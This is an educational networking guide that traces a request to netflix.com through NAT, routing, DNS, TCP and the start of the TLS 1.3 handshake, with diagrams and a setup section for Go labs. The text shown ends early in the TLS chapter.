What you will be able to do at the end

1. Explain, in order, the major systems involved between pressing Enter and a page appearing on screen — DNS, TCP/QUIC, TLS, HTTP, routing, proxies, load balancing, caching, and rendering.
2. Read a raw HTTP request or response and know what every header actually does, not just its name.
3. Explain the TLS 1.3 handshake, why forward secrecy matters, and how a certificate chain of trust actually establishes identity.
4. Trace a packet's exact path from your laptop to a server on the other side of the world — NAT, BGP, anycast, and VRRP included.
5. Explain why a CDN and a load balancer both exist, and what job each does that the other genuinely cannot.
6. Walk through the browser's rendering pipeline and diagnose why a real page feels janky or shifts around while loading.
7. Name the specific attack (XSS, CSRF, SSRF, clickjacking...) each security header and cookie flag in this lifecycle actually defends against.
8. Talk about SLI/SLO, 95th-percentile billing, and traffic engineering the way a network engineer operating a real datacenter actually does, and set SRE-style SLOs, error budgets, and burn-rate alerts for a service.
9. Build the server side in Go: a hardened HTTPS server, a reverse proxy, a caching edge, retries with idempotency, SSRF-safe clients, and streaming endpoints. Thirteen labs, each tested against real sites, ending with one request traced through every guide in the series (Chapter 25).

How to use this guide

Each chapter follows the same shape, run through the same running example — a single request to https://www.netflix.com:

   The Simple Version (5-year-old)   -> the whole idea, as an analogy
   Deep sections                     -> the real mechanism, with diagrams,
                                         protocol fields, and real config
   Key Takeaways                     -> the handful of facts worth keeping

Read top to bottom the first time — chapters build on each other roughly in the order a request actually happens. After that, treat it as a reference: jump straight to the chapter you need. Every chapter is self-contained enough to read alone if you already know what came before it.

Tools you need: none, strictly. A terminal with curl, dig, and traceroute (all pre-installed on macOS/Linux) lets you reproduce nearly every example yourself, which is worth doing at least once per chapter.

Contents

Part 0 — Start here (read this first)

• 0.1 Who this is for · 0.2 The learning flow · 0.3 The complete flow at a glance · 0.4 How not to get stuck · 0.5 The series: OS → networking → security → HTTPS · 0.6 The Go labs: setup and index

Part 1 — Addresses, packets, and names

1. How the Internet Works
2. DNS: Finding the Address

Part 2 — Getting there reliably and privately 3. TCP: Reliable Delivery 4. TLS & HTTPS: The Encrypted Tunnel

Part 3 — The conversation and the map 5. HTTP: The Conversation 6. OSI Layers: The Network Stack

Part 4 — Global traffic routing 7. NAT, VIP, BGP, Anycast & VRRP: Global Traffic Routing

Part 5 — The infrastructure in between 8. Proxies: The Middlemen 9. Load Balancers & Rate Limiting 10. CDN: Content Near You

Part 6 — From bytes to pixels 11. Browser Rendering: From Bytes to Pixels

Part 7 — Keeping it safe and observable 12. Security: Protecting the Entire Lifecycle 13. Traffic Direction: SLI & SLO

Part 8 — Expert operations: running HTTPS in production 14. HTTP version negotiation: HTTP/1.1, HTTP/2, HTTP/3, Alt-Svc, and fallbacks 15. Cache correctness: browser, CDN, proxy, and application caches 16. Certificate and domain operations: ACME, rotation, CT monitoring, and emergency revocation 17. Debugging the lifecycle: browser DevTools, curl, OpenSSL, packet capture, and logs 18. Capstone: diagnose a slow, broken, or unsafe HTTPS request end to end

Part 9 — Build the lifecycle in Go 19. A production HTTPS server in Go: TLS, timeouts, headers, and shutdown 20. Reverse proxies in Go: the client's identity, framing, and request smuggling 21. Resilience between services: rate limits, retries, idempotency, and circuit breakers 22. Outbound requests: SSRF and safe HTTP clients 23. SLIs, SLOs, and error budgets for HTTPS services 24. Streaming over HTTP: Server-Sent Events, WebSockets, and long-lived connections

Part 10 — The whole series in one request 25. One HTTPS request, every layer, every guide

Appendices

• A. Glossary (plain language)
• B. Further reading
• C. Answers to "Check yourself" (Chapters 14–25)

0.1 Who this is for

This guide is deliberately conceptual and reference-style: every chapter explains a mechanism precisely and shows what it looks like on the wire, but it doesn't carry a single running lab project across chapters the way some other guides in this wiki do. If you want that, read this guide first for the mental model, then do the hands-on guide.

0.2 The learning flow

Read chapters in order the first time — each one hands off directly to the next, following one real request from your keyboard to Netflix's servers and back. After the first pass, this is a reference: jump straight to whichever chapter answers the question you actually have.

Every chapter ends with Key Takeaways — read those first if you're deciding whether you already know a topic well enough to skip it.

0.3 The complete flow at a glance

Keep this diagram in mind as you read — every chapter in this guide zooms into exactly one step of it.

You type: https://www.netflix.com [Enter]
│
├─① BROWSER checks its own caches
│   HSTS list → DNS cache → HTTP cache → Service Worker
│
├─② DNS RESOLUTION  (finds the IP address)                    -- Chapter 2
│   Browser → OS → Recursive Resolver
│           → Root NS → .com TLD NS → netflix.com NS
│           ← returns: 52.38.36.82 (IPv4) or 2600::/32 (IPv6)
│
├─③ S-NAT at your home router                                 -- Chapter 1
│   Your private IP 192.168.1.105 → public IP 203.0.113.45
│
├─④ INTERNET ROUTING  (packets travel across the world)       -- Chapter 7
│   Your router → ISP router → Internet Exchange Point
│   → Netflix border router (BGP) → Netflix Anycast VIP
│
├─⑤ TCP 3-WAY HANDSHAKE  (open a reliable connection)         -- Chapter 3
│   SYN → SYN-ACK → ACK  (1 round trip)
│
├─⑥ TLS 1.3 HANDSHAKE  (create the encrypted tunnel)          -- Chapter 4
│   ClientHello → ServerHello + Certificate + Finished
│   → ClientFinished  (1 round trip, keys never sent over wire)
│   SSL Termination happens at Netflix's edge
│
├─⑦ HTTP/2 REQUEST sent inside the encrypted tunnel           -- Chapter 5
│   GET / HTTP/2  + headers + cookies
│
├─⑧ D-NAT at Netflix edge                                     -- Chapter 7
│   VIP 52.38.36.82:443 → real backend 10.0.4.55:443
│
├─⑨ REVERSE PROXY (Nginx/Envoy)                                -- Chapter 8
│   Rate limit check → Auth check → Cache check → forward
│
├─⑩ L7 LOAD BALANCER                                           -- Chapter 9
│   Routes by URL path to correct microservice cluster
│
├─⑪ ORIGIN SERVER processes request
│   Nginx → Zuul API Gateway → Node.js SSR
│   Fetches: user data, recommendations, catalog
│   Renders HTML server-side
│
├─⑫ HTTP/2 RESPONSE sent back
│   200 OK + security headers + Brotli-compressed HTML          -- Chapter 12
│
├─⑬ RESPONSE TRAVELS BACK  (possibly served from a CDN edge)    -- Chapter 10
│   TLS encrypted → TCP segments → IP packets
│   → Internet → S-NAT reversed at your router
│   → Your browser
│
└─⑭ BROWSER RENDERS THE PAGE                                    -- Chapter 11
    HTML → DOM → + CSS → CSSOM → Render Tree
    → Layout → Paint → Composite → Screen

Chapter 13 (SLI/SLO) and the security material in Chapter 12 aren't single steps in this diagram — they're cross-cutting concerns that apply to every arrow in it.

0.4 How not to get stuck

• If a chapter references something from an earlier one ("covered in Chapter 3"), that's intentional — later chapters build on earlier mechanisms rather than re-explaining them. Go back if it's not fresh.
• Reproduce examples yourself. dig www.netflix.com, curl -v https://example.com, and your browser's Network tab (DevTools) turn every diagram in this guide into something you can watch happen in real time.
• The "5-year-old" version is not a joke or filler — if the deep section of a chapter loses you, go back to the analogy, then re-enter the deep section. It's there because the mechanism really is that simple at its core; the complexity is all in the edge cases.

0.5 The series: OS → networking → security → HTTPS

This guide is one of seven, designed to be read as one course in this order:

   1  OS & Linux  ──▶  2  Networking  ──▶  3  Security  ──▶  4  HTTPS walkthrough
                         2a OSI map          3a From Zero        (one request through
                         2b TCP/IP           3b In Depth          every guide, in Go)
   ════════════════════  Go, alongside every step  ════════════════════

Why this order. Every network connection is a file descriptor owned by a process, so the OS comes first. Networking comes next, because every attack and defence in the security guides assumes you can follow a packet. Security comes third, because it needs both. The HTTPS walkthrough comes last because a single HTTPS request uses all of it, and its final chapter runs one request through every guide in a Go program. Go runs alongside the whole way: each guide's "Build it in Go" labs turn its chapters into code you can run.

Reading paths by role:

• Backend engineer: 1 (Phases 1–2, Part 20) → 2a → 2b (Parts 1–7) → 3a (Parts 1–6) → 4 (all, including Part 9) → 3b (Parts 5–6).
• SRE / platform: 1 (all) → 2a → 2b (all) → 3b (Parts 2–4, 8) → 4 (Parts 8–10).
• Security engineer: 1 (Phases 1, 3) → 2a → 2b (Parts 3–8) → 3a → 3b → 4 (Chapters 12, 19–22, 25).
• Engineering manager: 2a → 1 (Chapters 1–3, 44, 66, 72) → 3b (Part 9) → 4 (Chapters 13, 18, 23, 25).

Chapters link to each other directly, with "Across the series" notes where another guide covers a topic in more depth.

0.6 The Go labs: build the lifecycle yourself

Chapters 14–25 each include a "Build it in Go" section: a complete program, built only on Go's standard library, that turns the chapter into something you can run against real sites and break on purpose. Every lab was run while writing this guide, and the outputs shown are real.

Setup: install Go 1.22+ (brew install go, or go.dev/doc/install), then:

mkdir -p ~/httpslabs && cd ~/httpslabs && go mod init httpslabs
mkdir httptrace     # save the lab as httptrace/main.go
go run ./httptrace https://example.com/

If you haven't used Go's net package before, read TCP/IP guide §0.8 first. It maps each Go call to the system calls and packets underneath.

Chapter 1 — How the Internet Works

Before anything else — DNS, TCP, TLS — you need to understand what the internet physically is and how data moves across it.

What is the Internet?

The internet is a global network of networks. Millions of devices — computers, phones, servers, routers — connected together by cables (copper, fiber optic) and wireless signals (Wi-Fi, 4G, 5G).

No single company owns the internet. It is a collection of Autonomous Systems (AS) — networks operated independently by ISPs (Comcast, AT&T), companies (Google, Netflix), universities, and governments — all agreeing to talk to each other using the same protocols.

Your Home Network (AS 65001)
    │
    └──► ISP Network (AS 7922 — Comcast)
              │
              └──► Internet Exchange Point (IXP)
                        │
                        ├──► Google (AS 15169)
                        ├──► Netflix (AS 2906)
                        └──► Amazon (AS 16509)

IP Addresses — Your Home Address

Every device on the internet has an IP address — a unique number that identifies it, like a home address.

IPv4

The original addressing scheme. Looks like four numbers separated by dots:

203.0.113.45

Each number is 0–255. That gives us 4.3 billion total addresses (2³²).

Problem: We have more than 4.3 billion devices in the world. We ran out of IPv4 addresses around 2011.

Solution 1: NAT (share one public IP among many devices) — covered below. Solution 2: IPv6 — a much bigger address space.

IPv6

A newer addressing scheme with vastly more addresses. Looks like eight groups of hex digits separated by colons:

2001:0db8:85a3:0000:0000:8a2e:0370:7334

How many addresses does IPv6 give us?

• IPv4: 2³² = ~4.3 billion
• IPv6: 2¹²⁸ = 340 undecillion (340 followed by 36 zeros)

That is enough to give every grain of sand on Earth its own IP address — and still have addresses left.

IPv6 key differences from IPv4:

Private vs Public IP Addresses

Not all IPv4 addresses are real internet addresses. Some ranges are reserved for private networks (your home, office, data center):

10.0.0.0    – 10.255.255.255    (10/8)     — large private networks
172.16.0.0  – 172.31.255.255   (172.16/12) — medium private networks
192.168.0.0 – 192.168.255.255  (192.168/16)— home/small office networks

Your laptop probably has 192.168.1.x. Netflix's internal servers use 10.x.x.x.

These private addresses are not routable on the public internet — routers will drop packets with private source IPs. This is where NAT comes in.

Packets — Breaking Data into Pieces

Data does not travel as one continuous stream. It is broken into packets — small chunks, typically 1500 bytes or less.

Why packets instead of one big stream?

• If one part fails or gets corrupted, only that small packet is retransmitted — not the entire file.
• Multiple conversations can share the same physical link simultaneously (different packets interleave).
• Routers can make per-packet routing decisions — packets of the same stream can take different paths.

Each packet contains:

• Header: Source IP, destination IP, protocol, sequence number, length
• Payload: A chunk of your actual data

Your HTTP request (5000 bytes) gets split into:
  Packet 1: [Header | bytes   1–1460]
  Packet 2: [Header | bytes 1461–2920]
  Packet 3: [Header | bytes 2921–4380]
  Packet 4: [Header | bytes 4381–5000]

Each packet travels independently across the internet.
They may take different routes.
They are reassembled in order at the destination.

Routers — The Post Offices

A router is a device whose job is to read the destination IP of each incoming packet and forward it toward that destination.

Every router maintains a routing table — a list of IP prefixes and which direction (interface) to forward packets destined for that prefix.

Router at ISP core:
  Routing table:
  ┌─────────────────────────┬──────────────────┐
  │ Destination Prefix      │ Next Hop         │
  ├─────────────────────────┼──────────────────┤
  │ 52.38.0.0/16           │ Netflix (AS2906) │
  │ 142.250.0.0/15         │ Google (AS15169) │
  │ 0.0.0.0/0              │ Upstream router  │
  └─────────────────────────┴──────────────────┘

Packet arrives: Dst=52.38.36.82
→ Matches 52.38.0.0/16
→ Forward toward Netflix

Routers operate at Layer 3 (Network Layer) of the OSI model. They only look at IP addresses, not the content of packets.

TTL (Time to Live): Every IPv4 packet has a TTL field (0–255). Each router that forwards the packet decrements TTL by 1. If TTL reaches 0, the router drops the packet and sends an ICMP "Time Exceeded" message back. This prevents packets from looping forever.

traceroute to netflix.com:
  1  192.168.1.1 (your router)      1ms   TTL=64→63
  2  10.0.0.1    (ISP gateway)      5ms   TTL=63→62
  3  72.14.232.1 (ISP core)        12ms   TTL=62→61
  4  ...
  n  52.38.36.82 (Netflix edge)    25ms   TTL=xx→xx

NAT — Network Address Translation

The simple version: Your apartment building has ONE mailbox number on the street, but 50 apartments inside. The building manager has a list matching each apartment to a specific mailbox slot. When a letter comes in addressed to "123 Main St", the manager checks the list and delivers it to the right apartment.

NAT works the same way. Your home has ONE public IP address (assigned by your ISP), but many devices inside (laptop, phone, TV, etc.) all with private IPs.

Source NAT (S-NAT) — Outbound Traffic

When your laptop sends a packet out to the internet:

BEFORE (inside your home network):
  Source IP:   192.168.1.105  (your laptop's private IP)
  Source Port: 54321
  Dest IP:     52.38.36.82   (Netflix)
  Dest Port:   443

Your router performs S-NAT:
  Source IP:   203.0.113.45  (your public IP — assigned by ISP)
  Source Port: 54321
  Dest IP:     52.38.36.82
  Dest Port:   443

The router saves this translation in its NAT table:
  192.168.1.105:54321  ←→  203.0.113.45:54321

Netflix sees your request coming from 203.0.113.45 — it has no idea you're on 192.168.1.105 internally.

Destination NAT (D-NAT) — Inbound Traffic / Load Balancing

When Netflix's load balancer receives your packet:

BEFORE (arriving at Netflix's VIP):
  Source IP:   203.0.113.45  (you)
  Dest IP:     52.38.36.82   (Netflix VIP — the public address)
  Dest Port:   443

Netflix LB performs D-NAT:
  Source IP:   203.0.113.45
  Dest IP:     10.0.4.55     (a real backend server — private IP)
  Dest Port:   443

This is how load balancers work at L4 — they use D-NAT to redirect connections from one public VIP to many private backend servers.

NAT Table — How Return Traffic Finds Its Way Back

S-NAT table in your home router:
  Private Endpoint        Public Endpoint         State
  192.168.1.105:54321 ←→ 203.0.113.45:54321     ESTABLISHED
  192.168.1.107:55000 ←→ 203.0.113.45:55000     ESTABLISHED

When Netflix's response arrives at 203.0.113.45:54321:
  Router looks up NAT table → finds mapping → delivers to 192.168.1.105:54321

Why IPv6 Eliminates NAT

Every device gets a globally routable IPv6 address. No need to share a single public IP. Your laptop can directly communicate with Netflix's servers — end-to-end, no translation.

This also means:

• Better performance (no translation overhead)
• Easier peer-to-peer applications
• No NAT traversal hacks needed
• Every device is directly reachable (security implications — need proper firewalls)

How a Packet Travels Across the Internet (Step by Step)

Let us trace your Netflix request packet from your laptop to Netflix's server:

Step 1: Your laptop creates the packet
  Src: 192.168.1.105:54321  Dst: 52.38.36.82:443
  Data: [HTTP request]

Step 2: Packet arrives at your home router
  Router checks: Is 52.38.36.82 on my local network? NO
  Router performs S-NAT: 192.168.1.105 → 203.0.113.45
  Router looks up default route → forwards to ISP

Step 3: ISP's router receives packet
  Checks routing table for 52.38.0.0/16
  Finds path → Netflix (AS2906) via peering link
  Forwards packet

Step 4: Internet Exchange Point (IXP)
  Physical location where ISPs interconnect
  Packet crosses from your ISP's network to Netflix's network

Step 5: Netflix border router receives packet
  BGP routing: this packet is for 52.38.36.82
  Forwards to Netflix's internal network

Step 6: Netflix's load balancer (VIP 52.38.36.82)
  Performs D-NAT: 52.38.36.82 → 10.0.4.55 (real server)
  Forwards to backend

Step 7: Backend server receives packet
  Src: 203.0.113.45:54321  Dst: 10.0.4.55:443
  Processes request, sends response

Return journey (reverse of above, NAT translations reversed)

Each step takes microseconds to low milliseconds. The entire round trip (RTT) across a continent is typically 20–80ms.

Chapter 2 — DNS: Finding the Address

Before your browser can connect to Netflix, it needs to know Netflix's IP address. DNS is how it finds out.

What is DNS?

DNS (Domain Name System) is the internet's phone book. It translates human-readable names like www.netflix.com into machine-readable IP addresses like 52.38.36.82.

Without DNS you would have to memorize 52.38.36.82 instead of netflix.com. DNS also lets Netflix change their IP address without you needing to update anything — the name stays the same.

The Players in DNS

Full DNS Resolution — Step by Step

When you type www.netflix.com and no cache has the answer:

Your Browser
  │
  │  1. "What is the IP of www.netflix.com?"
  ▼
OS Stub Resolver
  │  checks /etc/hosts  →  not there
  │  checks OS DNS cache  →  MISS (or expired)
  │
  │  2. Sends query to configured recursive resolver
  ▼
Recursive Resolver (e.g., 8.8.8.8)
  │  checks its own cache  →  MISS
  │
  │  3. Queries a Root Name Server (.)
  │     "Who knows about .com?"
  ▼
Root Name Server (e.g., a.root-servers.net)
  │  "I don't know netflix.com, but for .com domains,
  │   ask these TLD servers: 192.5.6.30, 192.5.6.31..."
  │  (This is called a REFERRAL, not the final answer)
  │
  │  4. Queries the .com TLD Name Server
  │     "Who knows about netflix.com?"
  ▼
.com TLD Name Server (Verisign)
  │  "I don't know the IP, but netflix.com's own name servers are:
  │   ns-1496.awsdns-59.org, ns-1816.awsdns-35.co.uk..."
  │  (Another REFERRAL)
  │
  │  5. Queries netflix.com's Authoritative Name Server
  │     "What is the IP of www.netflix.com?"
  ▼
netflix.com Authoritative Name Server (AWS Route 53)
  │  "Here is the answer:"
  │   A    record: 52.38.36.82       TTL: 60s
  │   AAAA record: 2600:1f14:fff:f802::1   TTL: 60s
  │
  │  6. Recursive resolver caches this answer
  │     returns it to your OS stub resolver
  ▼
OS stub resolver caches it, returns to browser
  │
  ▼
Browser caches it, connects to 52.38.36.82

The whole process is typically 20–120ms for a cold lookup. With caching it's instant.

DNS Record Types

DNS stores different types of records for different purposes:

CNAME Chains — How Aliases Work

www.netflix.com  CNAME  netflix.com.edgekey.net   (Akamai edge)
netflix.com.edgekey.net  CNAME  e1234.dscg.akamaiedge.net
e1234.dscg.akamaiedge.net  A  23.200.1.1

The resolver follows the chain until it hits an A/AAAA record. You cannot put a CNAME on the root domain (netflix.com itself) — that's called the CNAME apex restriction. Workarounds: ALIAS records or AWS Route 53 ALIAS.

TTL — Time to Live

Every DNS record has a TTL (Time to Live) in seconds. This tells caches how long they can keep the answer before they must ask again.

netflix.com A record  TTL: 60 seconds
  → Your resolver can cache this for 60 seconds
  → After 60s, must ask again

google.com A record   TTL: 300 seconds
  → Cached for 5 minutes

cloudflare.com A record  TTL: 1800 seconds
  → Cached for 30 minutes

Low TTL = changes propagate fast (good for failovers) but more DNS queries (more load on resolvers). High TTL = fewer queries (faster for users) but changes take longer to spread.

Large traffic-heavy services often use short TTLs for some records so they can reroute users more quickly during an outage or traffic shift. The exact TTL depends on the record, CDN strategy, and resolver behavior.

DNS Caching — Layers

DNS answers are cached at multiple levels. Each layer serves from cache if the TTL hasn't expired:

[Browser DNS cache]          (checked first — fastest)
       │ MISS
       ▼
[OS DNS cache]               (/etc/hosts first, then OS resolver cache)
       │ MISS
       ▼
[Recursive Resolver cache]   (8.8.8.8, 1.1.1.1, or your ISP's)
       │ MISS
       ▼
[Full recursive resolution]  (Root → TLD → Authoritative)

You can inspect your browser's DNS cache at chrome://net-internals/#dns.

IPv4 vs IPv6 — Happy Eyeballs

Modern browsers request both A (IPv4) and AAAA (IPv6) records simultaneously. Then they try both connections in parallel, preferring IPv6 (by giving it a 50ms head start). Whichever connects first wins. This algorithm is called Happy Eyeballs (RFC 8305).

Browser sends simultaneously:
  DNS query for A record    (IPv4)
  DNS query for AAAA record (IPv6)

Both respond: IPv4=52.38.36.82, IPv6=2600:1f14::1

Browser starts:
  IPv6 connection attempt  (immediately)
  IPv4 connection attempt  (50ms later, as fallback)

IPv6 connects first → use IPv6
IPv6 fails         → IPv4 takes over seamlessly

Why prefer IPv6?

• No NAT — end-to-end, lower latency
• Better routing (no NAT state machines in the path)
• Future-proof

Encrypted DNS — DoH and DoT

Standard DNS sends queries in plain text over UDP port 53. This means:

• Your ISP can see every domain you look up.
• Anyone on your network (coffee shop Wi-Fi) can snoop.
• DNS responses can be tampered with (cache poisoning).

Two solutions:

DNS over TLS (DoT) — Port 853

Wraps DNS in a TLS connection. Encrypted, but uses a different port — network admins can block or monitor port 853.

DNS over HTTPS (DoH) — Port 443

Sends DNS queries as HTTPS requests. Looks identical to regular web traffic — cannot be easily blocked without blocking all HTTPS.

Traditional DNS (plaintext):
  Browser  ──UDP:53──►  8.8.8.8
  Anyone can read: "query for www.netflix.com"

DoH (encrypted):
  Browser  ──HTTPS:443──►  1.1.1.1/dns-query
  Payload encrypted — ISP sees only: "you talked to 1.1.1.1"

Chrome, Firefox, and most modern browsers use DoH by default to resolvers like 1.1.1.1 (Cloudflare) or 8.8.8.8 (Google).

DNSSEC — Preventing Fake Answers

The problem: A malicious resolver could lie. "netflix.com? That's at 1.2.3.4 (attacker's server)." Your traffic goes to the attacker. This is DNS cache poisoning.

DNSSEC (DNS Security Extensions) digitally signs DNS records. Each record has a cryptographic signature. Resolvers can verify the signature against a public key — forged answers are detected and rejected.

netflix.com A 52.38.36.82
netflix.com RRSIG [signature over the A record]
netflix.com DNSKEY [public key to verify the signature]

DNSSEC doesn't encrypt DNS — it only authenticates responses. DoH/DoT encrypts; DNSSEC authenticates.

DNS and Security — What Can Go Wrong

Chapter 3 — TCP: Reliable Delivery

We have the IP address. Now we need to open a connection. TCP is the protocol that makes sure every byte arrives, in order, reliably.

TCP vs UDP — When to Use Which

Most HTTPS page loads historically used TCP with HTTP/1.1 or HTTP/2. Many large sites now also support HTTP/3 over QUIC, which uses UDP underneath but adds encryption, congestion control, stream management, and reliability at the QUIC layer.

The TCP 3-Way Handshake

Before any data is exchanged, TCP establishes a connection. This takes 1 Round Trip Time (RTT).

Client (your browser)              Server (Netflix edge, port 443)
        │                                      │
        │──── SYN ────────────────────────────►│
        │  seq=1000, SYN flag set               │
        │  "I want to connect. My starting      │
        │   sequence number is 1000."           │
        │                                      │
        │◄─── SYN-ACK ─────────────────────────│
        │  seq=5000, ack=1001                   │
        │  "OK. My starting seq is 5000.        │
        │   I confirm I received up to byte 1000│
        │   (ack=1001 means 'send me 1001 next')│
        │                                      │
        │──── ACK ────────────────────────────►│
        │  ack=5001                             │
        │  "Got it. Connection is open."        │
        │                                      │
        │         [CONNECTION ESTABLISHED]      │
        │  Data exchange can now begin          │

SYN = Synchronize (start a new connection) ACK = Acknowledge (confirm receipt)

The client and server each pick a random initial sequence number. This prevents attackers from guessing sequence numbers and injecting fake data.

TCP Segment Structure

Every chunk of data sent over TCP is wrapped in a segment with a header:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
┌─────────────────────────┬─────────────────────────────────────────┐
│      Source Port        │         Destination Port                │
├─────────────────────────┴─────────────────────────────────────────┤
│                        Sequence Number                            │
├───────────────────────────────────────────────────────────────────┤
│                     Acknowledgment Number                         │
├──────┬──────────┬─────────────────────────────────────────────────┤
│Offset│ Reserved │ Flags: URG ACK PSH RST SYN FIN                 │
├──────┴──────────┴─────────────────────────────────────────────────┤
│                Window Size              │       Checksum          │
├─────────────────────────────────────────┴─────────────────────────┤
│              Urgent Pointer             │       Options           │
├─────────────────────────────────────────────────────────────────── ┤
│                           DATA (payload)                          │
└───────────────────────────────────────────────────────────────────┘

Key fields:

• Source Port / Dest Port: Identifies the application (e.g., your browser tab on port 54321, Netflix on port 443).
• Sequence Number: Byte offset of this segment in the stream. Receiver uses this to reassemble data in order.
• Acknowledgment Number: "I have received all bytes up to this number. Send me this number next."
• Flags: Control bits — SYN, ACK, FIN, RST, PSH, URG.
• Window Size: How many bytes sender can transmit before needing an ACK (flow control).
• Checksum: Detects bit errors.

MSS — Maximum Segment Size

The maximum amount of data in a single TCP segment. Negotiated during the handshake.

Ethernet MTU: 1500 bytes
  - IP header:  20 bytes
  - TCP header: 20 bytes
  = MSS: 1460 bytes of actual data per segment

If a request is larger than 1460 bytes, TCP splits it into multiple segments automatically.

Reliable Delivery — How TCP Guarantees Nothing is Lost

Every segment must be acknowledged. If an ACK isn't received within a timeout period, the segment is retransmitted.

Client                          Server
  │                                │
  │──── Segment 1 (bytes 1-1460) ─►│
  │──── Segment 2 (bytes 1461-2920)►│
  │──── Segment 3 (bytes 2921-4380)►│ ← LOST in transit
  │                                │
  │◄─── ACK 2921 ──────────────────│  "I got up to byte 2920, send 2921 next"
  │                                │
  │  [Timeout waiting for ACK 4381]│
  │                                │
  │──── Segment 3 (retransmit) ───►│  Client resends the lost segment
  │                                │
  │◄─── ACK 4381 ──────────────────│  "Got it. Send 4381 next."

Cumulative ACKs: A single ACK covers all bytes received up to that point. If segments arrive out of order, the receiver holds them in a buffer and sends a Duplicate ACK (same ACK number repeated) to signal the gap.

Three Duplicate ACKs trigger Fast Retransmit — the sender immediately resends the missing segment without waiting for the timeout. Faster recovery than waiting for the timeout.

Flow Control — Window Size

The receiver tells the sender how much buffer space it has available via the Window Size field. The sender must not send more data than the receiver can buffer.

Server has 65535 bytes of receive buffer.
Server sends: Window=65535 "You can send up to 65535 bytes without waiting for ACK"

Client sends 65535 bytes.
Server processes some data, buffer empties.
Server sends: Window=32768 "I've made room. You can send 32768 more bytes."

If server sends Window=0:
  Client must stop sending. Waits for server to open the window.
  (This is called "zero window" — a common performance problem)

Congestion Control — Sharing the Network Fairly

The network between you and Netflix is shared by millions of users. If everyone sends at full speed, routers get overwhelmed and drop packets. TCP includes congestion control to prevent this.

Slow Start

When a connection opens, TCP starts conservatively and ramps up:

Round 1: Send 1 segment (1 × MSS)
Round 2: Send 2 segments (2 × MSS)   (doubles every RTT — exponential growth)
Round 3: Send 4 segments
Round 4: Send 8 segments
...
Until: Slow Start Threshold (ssthresh) is reached → switch to Congestion Avoidance

Congestion Avoidance: increase by 1 MSS per RTT (linear, careful growth)

If packet loss detected:
  → Assume network is congested
  → Cut window in half (or back to 1 with older algorithms)
  → Start over or resume from ssthresh

CUBIC (default on Linux)

CUBIC is the default congestion control algorithm on Linux servers (Netflix runs Linux). Instead of halving on loss, CUBIC uses a cubic function to probe for more bandwidth more aggressively after a loss, converging faster on the available bandwidth.

BBR (Bottleneck Bandwidth and Round-trip propagation time)

Google's newer algorithm. Instead of using packet loss as a congestion signal, BBR directly estimates the bottleneck bandwidth and RTT. Performs much better on long-latency paths and networks where some packet loss is normal (not caused by congestion). Netflix and Google use BBR for streaming.

Connection Teardown — Saying Goodbye

TCP closes gracefully with a 4-way FIN exchange:

Client                          Server
  │                                │
  │──── FIN ───────────────────────►│  "I'm done sending."
  │◄─── ACK ───────────────────────│  "OK, I received your FIN."
  │                                │  Server may still have data to send
  │◄─── FIN ───────────────────────│  "I'm done sending too."
  │──── ACK ───────────────────────►│  "Acknowledged."
  │                                │
        [CONNECTION CLOSED]

RST (Reset): For abrupt termination — "this connection is invalid, stop immediately." Used when a connection is refused or something goes wrong.

TIME_WAIT state: After sending the final ACK, the client waits 2×MSL (Maximum Segment Lifetime, typically 2 minutes) before fully closing. This ensures the final ACK is not lost and allows delayed packets to be discarded. This is why restarting servers sometimes fails to bind to the same port immediately — old sockets are in TIME_WAIT.

TCP Fast Open (TFO)

Normal TCP requires a full handshake (1 RTT) before data can be sent. TFO lets you send data along with the SYN packet on subsequent connections, saving 1 RTT.

First connection (normal):
  SYN → SYN-ACK → ACK → [data]     (1 RTT before data)

Server issues a TFO cookie (cryptographic token for your IP).

Subsequent connection (TFO):
  SYN + [data] + TFO cookie → SYN-ACK + [response data]
  (Data is in flight immediately with the SYN — 0 RTT for data)

TFO is supported by most modern OS and servers but disabled on some because 0-RTT data is replay-vulnerable (see TLS 0-RTT section).

Ports — Which App Gets the Packet?

Multiple applications run on the same server simultaneously. TCP port numbers (0–65535) route packets to the right application:

Packet arrives at Netflix server 10.0.4.55:
  Destination Port: 443  →  HTTPS server (Nginx)
  Destination Port: 22   →  SSH server
  Destination Port: 9200 →  Elasticsearch

Well-known ports:
  80   → HTTP
  443  → HTTPS
  22   → SSH
  53   → DNS
  25   → SMTP (email)
  3306 → MySQL
  6379 → Redis

A connection is uniquely identified by the 4-tuple: (src IP, src port, dst IP, dst port).

Chapter 4 — TLS & HTTPS: The Encrypted Tunnel

TCP gives us a reliable connection. TLS makes it private and secure. Together they form HTTPS — the S stands for Secure.

HTTP vs HTTPS

What TLS Provides

TLS gives three security properties:

1. Confidentiality — data is encrypted. Nobody can read it in transit.
2. Integrity — TLS records are authenticated, so tampering is detected.
3. Authentication — the certificate helps prove you're talking to the holder of the private key for that hostname, chained to a trusted CA.

TLS 1.3 Handshake — Step by Step

TLS 1.3 (standardized in RFC 8446) usually completes in 1 Round Trip Time (RTT) for a fresh connection — faster than a typical TLS 1.2 full handshake.

Client (browser)                       Server (Netflix edge)
       │                                         │
       │───── ClientHello ───────────────────────►│
       │  • TLS version: 1.3                      │
       │  • Supported cipher suites:              │
       │      TLS_AES_256_GCM_SHA384              │
       │      TLS_CHACHA20_POLY1305_SHA256         │
       │  • Client's DH key share (public)        │
       │  • SNI: "www.netflix.com"                │  ← Which hostname?
       │  • ALPN: ["h2", "http/1.1"]              │  ← Which HTTP version?
       │  • Session ticket (if resuming)          │
       │                                         │
       │◄──── ServerHello + {encrypted} ─────────│
       │  • Selected cipher: AES_256_GCM_SHA384   │
       │  • Server's DH key share (public)        │
       │  ┌── encrypted from here ─────────────┐  │
       │  │ • Certificate chain                │  │
       │  │   (netflix.com cert + DigiCert CA) │  │
       │  │ • CertificateVerify                │  │
       │  │   (proves server owns private key) │  │
       │  │ • Finished                         │  │
       │  │   (authenticator over handshake)   │  │
       │  └────────────────────────────────────┘  │
       │                                         │
       │  [Browser verifies certificate]          │
       │  [Both sides independently derive        │
       │   the same session keys via ECDHE]       │
       │                                         │
       │───── Finished (encrypted) ──────────────►│
       │  Authenticator over entire handshake     │
       │                                         │
       │  [Encrypted channel established]         │
       │  HTTP/2 request can now be sent          │

Total cost: 1 RTT for TLS handshake + 1 RTT for TCP handshake = 2 RTTs before first byte of HTTP data.

Key Exchange — The Magic of ECDHE

The most important question in TLS: how do two parties agree on a secret key without ever sending that key over the network?

If an attacker records your entire TLS handshake, they must not be able to decrypt it — even if they later steal the server's private key.

